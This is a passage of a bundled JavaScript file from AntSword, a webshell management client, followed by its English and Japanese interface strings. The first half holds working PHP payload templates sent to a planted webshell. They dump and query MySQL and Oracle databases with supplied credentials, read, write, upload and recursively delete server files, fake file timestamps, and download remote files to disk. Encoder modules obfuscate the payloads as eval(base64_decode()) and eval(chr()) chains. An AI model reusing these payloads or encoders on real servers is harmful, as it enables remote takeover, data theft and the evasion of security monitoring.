// 显示数据库所有表
show_tables: (_show_tables = {
_: '$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$dbn=$m?stripslashes($_POST["' + _argv.arg4 + '"]):$_POST["' + _argv.arg4 + '"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW TABLES FROM `{$dbn}`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);'
}, _defineProperty(_show_tables, _argv.arg1, '#{host}'), _defineProperty(_show_tables, _argv.arg2, '#{user}'), _defineProperty(_show_tables, _argv.arg3, '#{passwd}'), _defineProperty(_show_tables, _argv.arg4, '#{db}'), _show_tables),
// 显示表字段
show_columns: (_show_columns = {
_: '$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$dbn=$m?stripslashes($_POST["' + _argv.arg4 + '"]):$_POST["' + _argv.arg4 + '"];$tab=$m?stripslashes($_POST["' + _argv.arg5 + '"]):$_POST["' + _argv.arg5 + '"];$T=@mysql_connect($hst,$usr,$pwd);@mysql_select_db($dbn);$q=@mysql_query("SHOW COLUMNS FROM `{$tab}`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0])." (".$rs[1].")".chr(9));}@mysql_close($T);'
}, _defineProperty(_show_columns, _argv.arg1, '#{host}'), _defineProperty(_show_columns, _argv.arg2, '#{user}'), _defineProperty(_show_columns, _argv.arg3, '#{passwd}'), _defineProperty(_show_columns, _argv.arg4, '#{db}'), _defineProperty(_show_columns, _argv.arg5, '#{table}'), _show_columns),
// 执行SQL语句
query: (_query = {
_: '$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$dbn=$m?stripslashes($_POST["' + _argv.arg4 + '"]):$_POST["' + _argv.arg4 + '"];$sql=base64_decode($_POST["' + _argv.arg5 + '"]);$T=@mysql_connect($hst,$usr,$pwd);@mysql_query("SET NAMES ' + _argv.arg6 + '");@mysql_select_db($dbn);$q=@mysql_query($sql);$i=0;while($col=@mysql_field_name($q,$i)){echo($col."\t|\t");$i++;}echo("\r\n");while($rs=@mysql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(trim($rs[$c]));echo("\t|\t");}echo("\r\n");}@mysql_close($T);'
}, _defineProperty(_query, _argv.arg1, '#{host}'), _defineProperty(_query, _argv.arg2, '#{user}'), _defineProperty(_query, _argv.arg3, '#{passwd}'), _defineProperty(_query, _argv.arg4, '#{db}'), _defineProperty(_query, _argv.arg5, '#{base64::sql}'), _defineProperty(_query, _argv.arg6, '#{encode}'), _query)
};
/***/ },
/* 64 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _show_databases, _show_tables, _show_columns, _query;
var _argv = __webpack_require__(58);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// 数据库管理模板::oracle
//
// :分隔符为 -> \t|\t
module.exports = {
// 显示所有数据库
show_databases: (_show_databases = {
_: '$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$H=@Ora_Logon("${usr}/${pwd}@${sid}","");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};'
}, _defineProperty(_show_databases, _argv.arg1, '#{host}'), _defineProperty(_show_databases, _argv.arg2, '#{user}'), _defineProperty(_show_databases, _argv.arg3, '#{passwd}'), _show_databases),
// 显示数据库所有表
show_tables: (_show_tables = {
_: '$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$dbn=$m?stripslashes($_POST["' + _argv.arg4 + '"]):$_POST["' + _argv.arg4 + '"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER=\'{$dbn}\' ORDER BY 1)");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0)).chr(9));}}@ora_close($T);};'
}, _defineProperty(_show_tables, _argv.arg1, '#{host}'), _defineProperty(_show_tables, _argv.arg2, '#{user}'), _defineProperty(_show_tables, _argv.arg3, '#{passwd}'), _defineProperty(_show_tables, _argv.arg4, '#{db}'), _show_tables),
// 显示表字段
show_columns: (_show_columns = {
_: '$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$tab=$m?stripslashes($_POST["' + _argv.arg4 + '"]):$_POST["' + _argv.arg4 + '"];$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME=\'{$tab}\' ORDER BY COLUMN_ID");if(ora_exec($T)){while(ora_fetch($T)){echo(trim(ora_getcolumn($T,0))." (".ora_getcolumn($T,1).")".chr(9));}}@ora_close($T);};'
}, _defineProperty(_show_columns, _argv.arg1, '#{host}'), _defineProperty(_show_columns, _argv.arg2, '#{user}'), _defineProperty(_show_columns, _argv.arg3, '#{passwd}'), _defineProperty(_show_columns, _argv.arg4, '#{table}'), _show_columns),
// 执行SQL语句
query: (_query = {
_: '$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["' + _argv.arg1 + '"]):$_POST["' + _argv.arg1 + '"];$usr=$m?stripslashes($_POST["' + _argv.arg2 + '"]):$_POST["' + _argv.arg2 + '"];$pwd=$m?stripslashes($_POST["' + _argv.arg3 + '"]):$_POST["' + _argv.arg3 + '"];$dbn=$m?stripslashes($_POST["' + _argv.arg4 + '"]):$_POST["' + _argv.arg4 + '"];$sql=base64_decode($_POST["' + _argv.arg5 + '"]);$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"{$sql}");$R=ora_exec($T);if($R){$n=ora_numcols($T);for($i=0;$i<$n;$i++){echo(Ora_ColumnName($T,$i)."\t|\t");}echo("\r\n");while(ora_fetch($T)){for($i=0;$i<$n;$i++){echo(trim(ora_getcolumn($T,$i)));echo("\t|\t");}echo("\r\n");}}else{echo("ErrMsg\t|\t\r\n");}@ora_close($T);};'
}, _defineProperty(_query, _argv.arg1, '#{host}'), _defineProperty(_query, _argv.arg2, '#{user}'), _defineProperty(_query, _argv.arg3, '#{passwd}'), _defineProperty(_query, _argv.arg4, '#{db}'), _defineProperty(_query, _argv.arg5, '#{base64::sql}'), _query)
};
/***/ },
/* 65 */
/***/ function(module, exports, __webpack_require__) {
"use strict";
var _create_file, _copy, _upload_file, _rename, _retime, _wget;
var _argv = __webpack_require__(58);
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } //
// 文件管理模板
//
module.exports = {
dir: _defineProperty({
_: "$D=base64_decode($_POST[\"" + _argv.arg1 + "\"]);$F=@opendir($D);if($F==NULL){echo(\"ERROR:// Path Not Found Or No Permission!\");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.\"/\".$N;$T=@date(\"Y-m-d H:i:s\",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=\"\t\".$T.\"\t\".@filesize($P).\"\t\".$E.\"\n\";if(@is_dir($P))$M.=$N.\"/\".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}"
}, _argv.arg1, "#{base64::path}"),
delete: _defineProperty({
_: "function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p.\"/\".$f;if((is_dir($pf))&&($f!=\".\")&&($f!=\"..\")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST[\"" + _argv.arg1 + "\"]):$_POST[\"" + _argv.arg1 + "\"]);if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?\"1\":\"0\":\"0\");}"
}, _argv.arg1, "#{base64::path}"),
create_file: (_create_file = {
_: "echo @fwrite(fopen(base64_decode($_POST[\"" + _argv.arg1 + "\"]),\"w\"),base64_decode($_POST[\"" + _argv.arg2 + "\"]))?\"1\":\"0\";"
}, _defineProperty(_create_file, _argv.arg1, "#{base64::path}"), _defineProperty(_create_file, _argv.arg2, "#{base64::content}"), _create_file),
read_file: _defineProperty({
_: "$F=base64_decode($_POST[\"" + _argv.arg1 + "\"]);$P=@fopen($F,\"r\");echo(@fread($P,filesize($F)));@fclose($P);"
}, _argv.arg1, "#{base64::path}"),
copy: (_copy = {
_: "$m=get_magic_quotes_gpc();$fc=base64_decode($m?stripslashes($_POST[\"" + _argv.arg1 + "\"]):$_POST[\"" + _argv.arg1 + "\"]);$fp=base64_decode($m?stripslashes($_POST[\"" + _argv.arg2 + "\"]):$_POST[\"" + _argv.arg2 + "\"]);function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?\"1\":\"0\");"
}, _defineProperty(_copy, _argv.arg1, "#{base64::path}"), _defineProperty(_copy, _argv.arg2, "#{base64::target}"), _copy),
download_file: _defineProperty({
_: "$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST[\"" + _argv.arg1 + "\"]):$_POST[\"" + _argv.arg1 + "\"]);$fp=@fopen($F,\"r\");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo(\"ERROR:// Can Not Read\");}"
}, _argv.arg1, "#{base64::path}"),
upload_file: (_upload_file = {
_: "$f=base64_decode($_POST[\"" + _argv.arg1 + "\"]);$c=$_POST[\"" + _argv.arg2 + "\"];$c=str_replace(\"\r\",\"\",$c);$c=str_replace(\"\n\",\"\",$c);$buf=\"\";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode(\"%\".substr($c,$i,2));echo(@fwrite(fopen($f,\"a\"),$buf)?\"1\":\"0\");"
}, _defineProperty(_upload_file, _argv.arg1, "#{base64::path}"), _defineProperty(_upload_file, _argv.arg2, "#{buffer::content}"), _upload_file),
rename: (_rename = {
_: "$m=get_magic_quotes_gpc();$src=base64_decode(m?stripslashes($_POST[\"" + _argv.arg1 + "\"]):$_POST[\"" + _argv.arg1 + "\"]);$dst=base64_decode(m?stripslashes($_POST[\"" + _argv.arg2 + "\"]):$_POST[\"" + _argv.arg2 + "\"]);echo(rename($src,$dst)?\"1\":\"0\");"
}, _defineProperty(_rename, _argv.arg1, "#{base64::path}"), _defineProperty(_rename, _argv.arg2, "#{base64::name}"), _rename),
retime: (_retime = {
_: "$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST[\"" + _argv.arg1 + "\"]):$_POST[\"" + _argv.arg1 + "\"]);$TM=strtotime(base64_decode(m?stripslashes($_POST[\"" + _argv.arg2 + "\"]):$_POST[\"" + _argv.arg2 + "\"]));if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?\"1\":\"0\");}else{echo(\"0\");};"
}, _defineProperty(_retime, _argv.arg1, "#{base64::path}"), _defineProperty(_retime, _argv.arg2, "#{base64::time}"), _retime),
mkdir: _defineProperty({
_: "$m=get_magic_quotes_gpc();$f=base64_decode($m?stripslashes($_POST[\"" + _argv.arg1 + "\"]):$_POST[\"" + _argv.arg1 + "\"]);echo(mkdir($f)?\"1\":\"0\");"
}, _argv.arg1, "#{base64::path}"),
wget: (_wget = {
_: "$fR=base64_decode($_POST[\"" + _argv.arg1 + "\"]);$fL=base64_decode($_POST[\"" + _argv.arg2 + "\"]);$F=@fopen($fR,chr(114));$L=@fopen($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo(\"1\");}else{echo(\"0\");};"
}, _defineProperty(_wget, _argv.arg1, "#{base64::url}"), _defineProperty(_wget, _argv.arg2, "#{base64::path}"), _wget)
};
/***/ },
/* 66 */
/***/ function(module, exports, __webpack_require__) {
var map = {
"./base64": 67,
"./base64.jsx": 67,
"./chr": 68,
"./chr.jsx": 68
};
function webpackContext(req) {
return __webpack_require__(webpackContextResolve(req));
};
function webpackContextResolve(req) {
return map[req] || (function() { throw new Error("Cannot find module '" + req + "'.") }());
};
webpackContext.keys = function webpackContextKeys() {
return Object.keys(map);
};
webpackContext.resolve = webpackContextResolve;
module.exports = webpackContext;
webpackContext.id = 66;
/***/ },
/* 67 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(Buffer) {//
// php::base64 编码模块
//
'use strict';
module.exports = function (pwd, data) {
var randomID = '_0x' + Math.random().toString(16).substr(2);
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = 'eval(base64_decode($_POST[' + randomID + ']));';
delete data['_'];
return data;
};
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(5).Buffer))
/***/ },
/* 68 */
/***/ function(module, exports) {
//
// encoder::chr
//
// chr编码器
// --------
// 利用php函数`chr`进行编码处理
//
'use strict';
module.exports = function (pwd, data) {
// 编码函数
var encode = function encode(php) {
var ret = [];
var i = 0;
while (i < php.length) {
ret.push(php[i].charCodeAt());
i++;
}
return 'eVAl(cHr(' + ret.join(').ChR(') + '));';
};
// 编码并去除多余数据
data[pwd] = encode(data._);
delete data._;
// 返回数据
return data;
};
/***/ },
/* 69 */
/***/ function(module, exports, __webpack_require__) {
var map = {
"./en": 70,
"./en.jsx": 70,
"./jp": 71,
"./jp.jsx": 71,
"./zh": 72,
"./zh.jsx": 72
};
function webpackContext(req) {
return __webpack_require__(webpackContextResolve(req));
};
function webpackContextResolve(req) {
return map[req] || (function() { throw new Error("Cannot find module '" + req + "'.") }());
};
webpackContext.keys = function webpackContextKeys() {
return Object.keys(map);
};
webpackContext.resolve = webpackContextResolve;
module.exports = webpackContext;
webpackContext.id = 69;
/***/ },
/* 70 */
/***/ function(module, exports) {
'use strict';
//
// language::en
//
module.exports = {
toastr: {
info: 'Info',
error: 'Error',
warning: 'Warning',
success: 'Success'
},
menubar: {
main: {
title: 'AntSword',
about: 'About',
plugin: 'Plugin center',
settings: 'System setting',
language: 'Language setting',
update: 'Check update',
quit: 'Quit'
},
shell: {
title: 'Data',
add: 'Add data',
search: 'Search data',
dump: 'Dump data',
import: 'Import data',
clear: 'Clear all data'
},
edit: {
title: 'Edit',
undo: 'Undo',
redo: 'Redo',
cut: 'Cut',
copy: 'Copy',
paste: 'Paste',
selectall: 'SelectAll'
},
window: {
title: 'Window',
next: 'Next window',
prev: 'Prev window',
close: 'Close window'
}
},
shellmanager: {
title: 'ShellManager',
contextmenu: {
terminal: 'Terminal',
filemanager: 'FileManager',
database: 'Database',
add: 'Add',
edit: 'Edit',
delete: 'Delete',
move: 'Move',
search: 'Search',
plugin: 'Plugins',
pluginCenter: 'Plugin center',
clearCache: 'Clear cache',
clearAllCache: 'Clear all cache'
},
category: {
title: 'Category',
default: 'Default',
toolbar: {
add: 'Add',
del: 'Del'
},
add: {
title: 'Add category'
},
del: {
title: 'Delete category',
confirm: 'Are you sure to delete this category?',
success: function success(category) {
return 'Delete category(' + category + ') success!';
},
error: function error(category, err) {
return 'Delete category(' + category + 'failed!<br/>' + err;
}
}
},
list: {
title: 'Shell Lists',
grid: {
url: 'URL',
ip: 'IP',
addr: 'ADDR',
ctime: 'CTIME',
utime: 'UTIME'
},
add: {
title: 'Add shell',
toolbar: {
add: 'Add',
clear: 'Clear'
},
form: {
url: 'Shell url',
pwd: 'Shell pwd',
encode: 'Encode',
type: 'Shell type',
encoder: 'Encoder'
},
warning: 'Please enter the full!',
success: 'Add shell success!',
error: function error(err) {
return 'Add shell failed!<br/>' + err;
}
},
edit: {
title: function title(url) {
return 'Edit shell(' + url + ')';
},
toolbar: {
save: 'Save',
clear: 'Clear'
},
form: {
url: 'Shell url',
pwd: 'Shell pwd',
encode: 'Encode',
type: 'Shell type',
encoder: 'Encoder'
},
warning: 'Please enter the full!',
success: 'Update shell success!',
error: function error(err) {
return 'Update shell failed!<br/>' + err;
}
},
del: {
title: 'Delete shell',
confirm: function confirm(len) {
return 'Are you sure to delete ' + len + ' shells?';
},
success: function success(len) {
return 'Delete ' + len + ' shells success!';
},
error: function error(err) {
return 'Delete failed!<br/>' + err;
}
},
move: {
success: function success(num) {
return 'Move ' + num + 'datas success!';
},
error: function error(err) {
return 'Move data failed!<br/>' + err;
}
},
clearCache: {
title: 'Clear cache',
confirm: 'Are you sure to clear this cache?',
success: 'Clear cache success!',
error: function error(err) {
return 'Clear cache failed!<br/>' + err;
}
},
clearAllCache: {
title: 'Clear all cache',
confirm: 'Are you sure to clear all the cache?',
success: 'Clear all cache success!',
error: function error(err) {
return 'Clear all cache failed!<br/>' + err;
}
}
}
},
terminal: {
title: 'Terminal',
banner: {
title: 'Infomations',
drive: 'Drive List',
system: 'System Info',
user: 'Current User',
path: 'Current Path'
}
},
filemanager: {
title: 'FileManager',
delete: {
title: 'Delete',
confirm: function confirm(num) {
return 'Are you sure to delete ' + (typeof num === 'number' ? num + ' files' : num) + ' ?';
},
success: function success(path) {
return 'Delete file [' + path + '] success!';
},
error: function error(path, err) {
return 'Delete file [' + path + '] failed!' + (err ? '<br/>' + err : '');
}
},
paste: {
success: function success(path) {
return 'Paste file success!<br/>' + path;
},
error: function error(path, err) {
return 'Paste file [' + path + '] failed!' + (err ? '<br/>' + err : '');
}
},
rename: {
title: 'Rename',
success: 'Rename success!',
error: function error(err) {
return 'Rename failed!' + (err ? '<br/>' + err : '');
}
},
createFolder: {
title: 'Create Folder',
value: 'New Folder',
success: function success(path) {
return 'Create folder success!<br/>' + path;
},
error: function error(path, err) {
return 'Create folder [' + path + '] failed!' + (err ? '<br/>' + err : '');
}
},
createFile: {
title: 'Create File',
value: 'New File.txt',
success: function success(path) {
return 'Create file success!<br/>' + path;
},
error: function error(path, err) {
return 'Create file [' + path + '] failed!' + (err ? '<br/>' + err : '');
}
},
retime: {
title: 'Retime File',
success: function success(path) {
return 'Retime file success!<br/>' + path;
},
error: function error(path, err) {
return 'Retime file [' + path + '] failed!' + (err ? '<br/>' + err : '');
}
},
wget: {
title: 'Wget File',
check: 'URL is not correct!',
task: {
name: 'WGET',
start: 'Start to wget file..',
success: 'Wget success!',
failed: function failed(ret) {
return 'Failed:' + ret;
},
error: function error(err) {
return 'Error:' + err;
}
}
},
upload: {
task: {
name: 'Upload',
failed: function failed(err) {
return 'Failed:' + err;
},
error: function error(err) {
return 'Error:' + err;
}
},
success: function success(path) {
return 'Upload file success!<br/>' + path;
},
error: function error(path, err) {
return 'Upload file [' + path + '] failed!' + err;
}
},
folder: {
title: 'Folders'
},
files: {
title: 'Files',
bookmark: {
add: 'Add bookmark',
del: 'Remove this bookmark',
clear: 'Clear all bookmarks'
},
toolbar: {
new: 'New',
folder: 'Folder',
file: 'File',
wget: 'Wget File',
upload: 'Upload File',
up: 'UP',
refresh: 'Refresh',
home: 'Home',
bookmark: 'Bookmark',
read: 'Read'
},
prompt: {
add: {
title: 'Add to bookmark',
success: function success(path) {
return 'Add to bookmark success!<br/>' + path;
}
},
remove: {
title: 'Remove bookmark',
confirm: 'Remove this bookmark ?',
success: 'Remove bookmark success!'
},
clear: {
title: 'Clear all bookmarks',
confirm: 'Clear all bookmarks ?',
success: 'Clear all bookmark success!'
}
},
grid: {
header: {
name: 'Name',
time: 'Time',
size: 'Size',
attr: 'Attr'
},
contextmenu: {
paste: {
title: 'Paste',
all: 'All items',
clear: {
title: 'Clear items',
info: 'Clear all Clipboard.'
}
},
preview: 'Preview',
edit: 'Edit',
delete: 'Delete',
rename: 'Rename',
refresh: 'Refresh',
wget: 'WGET',
upload: 'Upload',
download: 'Download',
modify: 'Modify the file time',
copy: {
title: 'Copy',
warning: function warning(id) {
return 'Already add to clipboard!<br/>' + id;
},
info: function info(id) {
return 'Add file to the clipboard.<br/>' + id;
}
},
create: {
title: 'Create',
folder: 'Folder',
file: 'File'
}
}
}
},
editor: {
title: function title(path) {
return 'Edit: ' + path;
},
toolbar: {
save: 'Save',
mode: 'Mode',
encode: 'Encode'
},
loadErr: function loadErr(err) {
return 'Load file error!<br/>' + err;
},
success: function success(path) {
return 'Save the file success!<br/>' + path;
},
error: function error(path, err) {
return 'Save the file [' + path + '] failed!' + err;
}
},
tasks: {
title: 'Tasks',
grid: {
header: {
name: 'Name',
desc: 'Description',
status: 'Status',
stime: 'StartTime',
etime: 'EndTime'
}
}
},
download: {
title: 'Download File',
task: {
name: 'Download',
wait: 'Wait to download',
cancel: 'Cancel download',
start: 'Start to download',
success: 'Download success!',
error: function error(err) {
return 'Error:' + err;
}
},
error: function error(name, err) {
return 'Download file [' + name + ']error!<br/>' + err;
},
success: function success(name) {
return 'Download file [' + name + '] success!';
}
}
},
database: {
list: {
title: 'Config list',
add: 'Add',
del: 'Del',
menu: {
add: 'Add conf',
del: 'Del conf'
}
},
query: {
title: 'Exec SQL',
exec: 'Run',
clear: 'Clear'
},
result: {
title: 'Result',
warning: 'Execution is completed, but no results return!',
error: {
database: function database(err) {
return 'Failed to obtain a list of databases!<br/>' + err;
},
table: function table(err) {
return 'Get table data failed!<br/>' + err;
},
column: function column(err) {
return 'Failed to obtain field list!<br/>' + err;
},
query: function query(err) {
return 'Failure to execute SQL!<br/>' + err;
},
parse: 'Return data format is incorrect!',
noresult: 'No query results!'
}
},
form: {
title: 'Add conf',
toolbar: {
add: 'Add',
clear: 'Clear'
},
type: 'Database type',
encode: 'Database encode',
host: 'Host',
user: 'User',
passwd: 'Password',
warning: 'Please fill in the complete!',
success: 'Successful add configuration!',
del: {
title: 'Delete configuration',
confirm: 'Determine delete this configuration?',
success: 'Delete configuration success!',
error: function error(err) {
return 'Delete configuration failed!<br/>' + err;
}
}
}
},
settings: {
about: {
title: 'About'
},
language: {
title: 'Language setting',
toolbar: {
save: 'Save'
},
form: {
label: 'Select language',
zh: '简体中文',
en: 'English'
},
success: 'Setting language success!',
confirm: {
content: 'Restart the application?',
title: 'Setting language'
}
},
update: {
title: 'Check update',
toolbar: {
check: 'Check'
}
}
},
plugin: {
error: function error(err) {
return 'Load plugin center failed!<br/>' + err;
}
}
};
/***/ },
/* 71 */
/***/ function(module, exports) {
'use strict';
//
// language::jp
// !warning: 此模板并未完全翻译完毕，如若加载可能出错。解决办法：复制`en.jsx`模板然后翻译替换。。
//
module.exports = {
toastr: {
info: 'プロンプト',
error: '間違いました',
warning: '警告の',
success: 'サクセス'
},
menubar: {
main: {
title: 'antSword',
about: 'プログラムについて',
update: '更新プログラムの確認',
quit: 'プログラムを終了'
},
shell: {
title: 'データ',
add: 'データを追加します',
dump: 'データのエクスポート',
import: 'データのインポート',
clear: 'データを消去'
},
edit: {
title: 'エディタ',
undo: '失効',
redo: 'やり直し',
cut: 'シャー',
copy: 'コピー',
paste: 'スティック',
selectall: '全て選択'
},
settings: {
title: 'セットアップ',
language: {
title: '表示言語',
zh: '简体中文',
en: 'English'
}
},
debug: {
title: 'デバッグ作業',
refresh: 'リフレッシュ',
dev: '開発者ツール'
}
},
shellmanager: {
title: 'リストの管理',
contextmenu: {
terminal: '仮想ターミナル',
filemanager: 'ファイル管理',
database: 'データ操作',
add: 'データを追加します',
edit: 'データの編集',
delete: 'データの削除',
move: 'モバイルデータ',
search: '検索データ',
plugin: 'ロードプラグイン',
clearCache: 'キャッシュを空に',
clearAllCache: 'すべてクリアキャッシュ'
},
category: {
title: 'カテゴリー',
default: 'デフォルト',
toolbar: {
add: '追加',
del: '削除'
},
add: {
title: 'カテゴリを追加します'
},
del: {
title: 'カテゴリを削除',
confirm: 'まだこのカテゴリーを削除してください？ （データはクリアされます）',
success: function success(category) {
return 'カテゴリは正常に削除（' + category + '）！';
},
error: function error(category, err) {
return 'カテゴリを削除（' + category + '）失敗！<br/>' + err;
}
}
},
list: {
title: 'データ管理',
grid: {
url: 'URLアドレス',
ip: 'IPアドレス',
addr: '物理的な位置',
ctime: '作成',
utime: '更新'
},
add: {
title: 'データを追加します',
toolbar: {
add: '追加',
clear: '明確な'
},
form: {
url: 'URLアドレス',
pwd: '接続パスワード',
encode: 'エンコーディング設定',
type: '接続タイプ',
encoder: 'エンコーダ'
},
warning: 'フルを入力してください！',
success: 'データの成功を追加！',
error: function error(err) {
return 'データの追加に失敗しました！<br/>' + err;
}
},
edit: {
title: function title(url) {
return 'データの編集（' + url + '）';
},
toolbar: {
save: '保存',
clear: '明確な'
},
form: {
url: 'URLアドレス',
pwd: '接続パスワード',
encode: 'エンコーディング設定',
type: '接続タイプ',
encoder: 'エンコーダ'
},
warning: 'フルを入力してください！',
success: 'データの更新成功！',
error: function error(err) {
return '更新データに失敗しました！<br/>' + err;
}
},
del: {
title: 'データの削除',
confirm: function confirm(len) {
return '選択された' + len + '記事のデータを削除してください？';
},
success: function success(len) {
return len + '正常に削除されたデータ！';
},
error: function error(err) {
return '削除に失敗しました！<br/>' + err;
}
},
move: {
success: function success(num) {
return 'データが正常に' + num + 'を移動しました！';
},
error: function error(err) {
return 'モバイルデータに失敗しました！<br/>' + err;
}
},
clearCache: {
title: 'キャッシュを空に',
confirm: 'OKキャッシュを空？',
success: 'キャッシュを空にするには、準備ができています！',
error: function error(err) {
return '空のキャッシュに失敗しました！<br/>' + err;
}
},
clearAllCache: {
title: 'キャッシュを空に',
confirm: '[OK]をクリアし、すべてのデータをキャッシュされましたか？',
success: '空のキャッシュ全体が終了！',
error: function error(err) {
return '空のキャッシュ全体が失敗しました！<br/>' + err;
}
}
}
},
terminal: {
title: '仮想ターミナル',
banner: {
title: '基本情報',
drive: 'ディスクリスト',
system: 'システム情報',
user: '現在のユーザー',
path: '現在パス'
}
},
filemanager: {
title: 'ファイル管理',
delete: {
title: 'ファイルを削除します',
confirm: function confirm(num) {
return 'あなたは' + (typeof num === 'number' ? num + ' 个文件' : num) + 'のファイルを削除してもよろしいですか？';
},
success: function success(path) {
return 'ファイルの成功を削除！<br/>' + path;
},
error: function error(path, err) {
return 'ファイル[' + path + ']を削除できませんでした！' + (err ? '<br/>' + err : '');
}
},
paste: {
success: function success(path) {
return 'ファイルの成功を貼り付け！<br/>' + path;
},
error: function error(path, err) {
return '貼り付けファイル[' + path + ']が失敗しました！' + (err ? '<br/>' + err : '');
}
},
rename: {
title: '名前の変更',
success: 'ファイルの成功の名前を変更します！',
error: function error(err) {
return '失敗したファイルの名前を変更します！' + (err ? '<br/>' + err : '');
}
},
createFolder: {
title: '新規カタログ',
value: '新しいディレクトリ',
success: function success(path) {
return '新規カタログの成功！<br/>' + path;
},
error: function error(path, err) {
return '新しいディレクトリ[' + path + ']は失敗しました！' + (err ? '<br/>' + err : '');
}
},
createFile: {
title: '新しいファイル',
value: '新しいファイル.txt',
success: function success(path) {
return '新規ファイルの成功！<br/>' + path;
},
error: function error(path, err) {
return '新しいファイル[' + path + ']は失敗しました！' + (err ? '<br/>' + err : '');
}
},
retime: {
title: '時間を変更します',
success: function success(path) {
return 'ファイルの時間の成功を変更！<br/>' + path;
},
error: function error(path, err) {
return '変更文書[' + path + ']は失敗しました！' + (err ? '<br/>' + err : '');
}
},
wget: {
title: 'Wgetのダウンロードファイル',
check: 'URLアドレスが正しくありません！',
task: {
name: 'WGETダウンロード',
start: 'ダウンロードを開始します..',
success: '成功をダウンロード！',
failed: function failed(ret) {
return '失敗:' + ret;
},
error: function error(err) {
return '間違いました:' + err;
}
}
},
upload: {
task: {
name: 'アップロード',
failed: function failed(err) {
return '失敗:' + err;
},
